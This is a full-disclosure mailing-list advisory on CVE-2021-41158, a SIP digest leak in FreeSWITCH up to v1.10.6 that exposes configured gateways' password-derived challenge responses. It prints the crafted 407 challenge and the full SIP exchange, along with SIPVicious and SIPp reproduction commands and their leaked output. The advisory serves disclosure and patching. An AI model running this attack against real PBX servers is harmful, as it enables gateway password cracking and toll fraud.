Message-Id: <f2e32807-2174-46b3-a989-7de2e44e8608@www.fastmail.com>
Date: Mon, 25 Oct 2021 16:24:03 +0200
From: "Sandro Gauci" <sandro@...blesecurity.com>
To: oss-security@...ts.openwall.com, bugtraq@...urityfocus.com,
 fulldisclosure@...lists.org, voipsec@...psa.org,
 submissions@...ketstormsecurity.org, vuln@...unia.com, cert@...t.org
Subject: [FD] [oss-security] [ES2021-05] FreeSWITCH vulnerable to SIP digest
	leak for configured gateways

# FreeSWITCH vulnerable to SIP digest leak for configured gateways

- Fixed versions: v1.10.7
- Enable Security Advisory: https://github.com/EnableSecurity/advisories/tree/master/ES2021-05-freeswitch-vulnerable-to-SIP-digest-leak
- Vendor Security Advisory: https://github.com/signalwire/freeswitch/security/advisories/GHSA-3v3f-99mv-qvj4
- Other references: CVE-2021-41158
- Tested vulnerable versions: <= v1.10.6
- Timeline:
	- Report date: 2021-04-22
	- Triaged: 2021-04-23
	- Fix provided for testing: 2021-08-13
	- Second fix provided for testing: 2021-09-14
	- Vendor release with fix: 2021-10-24
	- Enable Security advisory: 2021-10-25

## Description

An attacker can perform a SIP digest leak attack against FreeSWITCH and receive the challenge response of a gateway configured on the FreeSWITCH server. This is done by challenging FreeSWITCH's SIP requests with the realm set to that of the gateway, thus forcing FreeSWITCH to respond with the challenge response which is based on the password of that targeted gateway.

One of the ways to perform this attack involves initiating a call to any directory number (e.g. 1002). In the default configuration, this can be done via the external SIP profile by calling `sip:1002@...epbx:5080` without authentication, or via the internal SIP profile with authentication by calling `sip:1002@...epbx:5060`.

To demonstrate this issue, the following external SIP profile configuration was used for the gateway `demo.sipvicious.pro`:

```xml
<gateway name="demo.sipvicious.pro">
	<param name="username" value="1000"/>
	<param name="password" value="1500"/>
</gateway>
```

The malicious UAC initiates the attack by sending an INVITE to FreeSWITCH. In this example, extension 1001 is calling extension 1002:

```
INVITE sip:1002@....168.1.215 SIP/2.0
Via: SIP/2.0/UDP 192.168.1.215:35273;rport;branch=z9hG4bK-UkZy2ufFodKb5r2T
Max-Forwards: 70
From: <sip:1001@....168.1.215>;tag=t0D1TEIKQGit7Tf7
To: <sip:1002@....168.1.215>
Call-ID: Y72a9ZSUQk0zQ23P
CSeq: 1 INVITE
Contact: <sip:1001@....168.1.215:35273;transport=udp>
Content-Length: 245
Content-Type: application/sdp
```

The call is either manually picked up by the callee, or automatically by its mailbox:

```
SIP/2.0 200 OK
Via: SIP/2.0/UDP 192.168.1.215:35273;rport=35273;branch=z9hG4bK-UkZy2ufFodKb5r2T
From: <sip:1001@....168.1.215>;tag=t0D1TEIKQGit7Tf7
To: <sip:1002@....168.1.215>;tag=983BacQc9Q9vp
Call-ID: Y72a9ZSUQk0zQ23P
CSeq: 1 INVITE
Contact: <sip:1002@....168.1.215:5080;transport=udp>
User-Agent: FreeSWITCH-mod_sofia/1.10.7-dev+git~20210325T155256Z~67cec5c3e8~64bit
Accept: application/sdp
Allow: INVITE, ACK, BYE, CANCEL, OPTIONS, MESSAGE, INFO, UPDATE, REGISTER, REFER, NOTIFY
Supported: timer, path, replaces
Allow-Events: talk, hold, conference, refer
Content-Type: application/sdp
Content-Disposition: session
Content-Length: 222
Remote-Party-ID: "1002" <sip:1002@....168.1.215>;party=calling;privacy=off;screen=no
```

Once the callee or mailbox hangs up the call, FreeSWITCH will send a BYE request to the malicious UAC:

```
BYE sip:1001@....168.1.215:35273;transport=udp SIP/2.0
Via: SIP/2.0/UDP 192.168.1.215:5080;rport;branch=z9hG4bKF7XSHFKDmUN5D
Max-Forwards: 70
From: <sip:1002@....168.1.215>;tag=983BacQc9Q9vp
To: <sip:1001@....168.1.215>;tag=t0D1TEIKQGit7Tf7
Call-ID: Y72a9ZSUQk0zQ23P
CSeq: 34695099 BYE
User-Agent: FreeSWITCH-mod_sofia/1.10.7-dev+git~20210325T155256Z~67cec5c3e8~64bit
Allow: INVITE, ACK, BYE, CANCEL, OPTIONS, MESSAGE, INFO, UPDATE, REGISTER, REFER, NOTIFY
Supported: timer, path, replaces
Reason: Q.850;cause=16;text="NORMAL_CLEARING"
Content-Length: 0

```

The malicious UAC will then challenge the BYE request by sending a specially crafted 407 response. The realm value of the `Proxy-Authenticate` header is set to the domain of the target gateway, in our case `demo.sipvicious.pro`:

```
SIP/2.0 407 Proxy Authentication Required
Via: SIP/2.0/UDP 192.168.1.215:5080;rport;branch=z9hG4bKF7XSHFKDmUN5D
From: <sip:1002@....168.1.215>;tag=983BacQc9Q9vp
To: <sip:1001@....168.1.215>;tag=t0D1TEIKQGit7Tf7
Call-ID: Y72a9ZSUQk0zQ23P
CSeq: 34695099 BYE
Proxy-Authenticate: Digest realm="demo.sipvicious.pro",nonce="4XC2",algorithm=MD5
```

FreeSWITCH will reply with the challenge response, base on the password of the gateway:

```
BYE sip:1001@....168.1.215:35273;transport=udp SIP/2.0
Via: SIP/2.0/UDP 192.168.1.215:5080;rport;branch=z9hG4bKggQjKa4gH4BrS
Max-Forwards: 70
From: <sip:1002@....168.1.215>;tag=983BacQc9Q9vp
To: <sip:1001@....168.1.215>;tag=t0D1TEIKQGit7Tf7
Call-ID: Y72a9ZSUQk0zQ23P
CSeq: 34695100 BYE
User-Agent: FreeSWITCH-mod_sofia/1.10.7-dev+git~20210325T155256Z~67cec5c3e8~64bit
Allow: INVITE, ACK, BYE, CANCEL, OPTIONS, MESSAGE, INFO, UPDATE, REGISTER, REFER, NOTIFY
Supported: timer, path, replaces
Proxy-Authorization: Digest username="1000", realm="demo.sipvicious.pro", 
	nonce="4XC2", algorithm=MD5, 
	uri="sip:1001@....168.1.215:35273;transport=udp", 
	response="10c3a9408b3a97cd6ec8bb3908f30d93"
Reason: Q.850;cause=16;text="NORMAL_CLEARING"
Content-Length: 0

```

The challenge response may then be subjected to a fast offline password bruteforce attack using tools such as hashcat and John the Ripper.

The above example consists of challenging the BYE message coming from FreeSWITCH. We identified the following additional scenarios which allow exploitation:

- FreeSWITCH initiating a call to a malicious party, for example by making use of the `originate` command in `fs_cli`, where the malicious party challenges the incoming INVITE request.
- An authenticated SIP endpoint calling another registered malicious endpoint, where the malicious endpoint challenges the incoming INVITE request.


## Impact

Abuse of this vulnerability allows attackers to potentially recover gateway passwords by performing a fast offline password cracking attack on the challenge response. 

Do note that the attacker does not require special network privileges, such as the ability to sniff the FreeSWITCH's network traffic, to exploit this issue. Instead, what is required for this attack to work is the ability to cause the victim server to send SIP request messages to the malicious party.

Additionally, to exploit this issue, the attacker needs to specify the correct realm which might in some cases be considered secret. However, because many gateways are actually public, this information can easily be retrieved.


## How to reproduce the issue

To reproduce this issue, we made use of SIPVicious PRO's SIP digest leak tool as follows:

```
sipvicious sip crack digestleak udp://172.17.0.2:5060 -u1001:9999999 -e1002 \
	--challenge-config realm:demo.sipvicious.pro
INFO[2021-04-19 23:09:17] started digest leak tool on udp://172.17.0.2:5060
INFO[2021-04-19 23:09:17] call picked up by sip:1002@....17.0.2
INFO[2021-04-19 23:09:18] received BYE, challenging that with a 407
WARN[2021-04-19 23:09:18] digest leaked: response: 6b4f4d6c4d9a086190bd27e410cd1fe4, \
	realm=demo.sipvicious.pro, nonce=8B05, uri=sip:1001@....17.0.1:51518;transport=udp, \
	method=BYE, username=1000
INFO[2021-04-19 23:09:18] BYE received, terminating call
WARN[2021-04-19 23:09:21] security issue detected: digest leaked
INFO[2021-04-19 23:09:21] test complete
- target: udp://172.17.0.2:5060
  - status: security issue, digest leaked
    results:
      N/A
    issues:
    - digestleak:
        response: 6b4f4d6c4d9a086190bd27e410cd1fe4, realm=demo.sipvicious.pro, 
			nonce=8B05, uri=sip:1001@....17.0.1:51518;transport=udp, 
			method=BYE, username=1000
```

Alternatively, SIPp may be used with a modified version of the Digest leak scenario from [tomeko.net][1] as follows:

```
sipp 192.168.188.128:5080 -sf uac_digest_leak.xml -s 1002 -m 1
```

Note: in the [scenario][1] from tomeko.net, make sure to replace the `WWW-Authenticate` header with `Proxy-Authenticate`, set the correct realm (e.g. `demo.sipvicious.pro`) and set 183 responses as optional.

[1]: https://tomeko.net/other/sipp/sipp_cheatsheet.php?lang=en

## Solution and recommendations

Upgrade to a version of FreeSWITCH that fixes this issue.

Our suggestion to the FreeSWITCH developers was the following:

> The vulnerability appears to be due to the code which handles challenges in `sofia_reg.c`, `sofia_reg_handle_sip_r_challenge()` which does not check if the challenge is originating from the actual gateway. The lack of these checks allows arbitrary UACs (and gateways) to challenge any request sent by FreeSWITCH with the realm of the gateway being targeted.

> Our recommendation is to create an association between a SIP session for each gateway and its realm, and then a check is put in place for this association when responding to challenges.

## About Enable Security

[Enable Security](https://www.enablesecurity.com) develops offensive security tools and provides quality penetration testing to help protect your real-time communications systems against attack.

## Disclaimer

The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.

## Disclosure policy

This report is subject to Enable Security's vulnerability disclosure policy which can be found at <https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy>.


_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists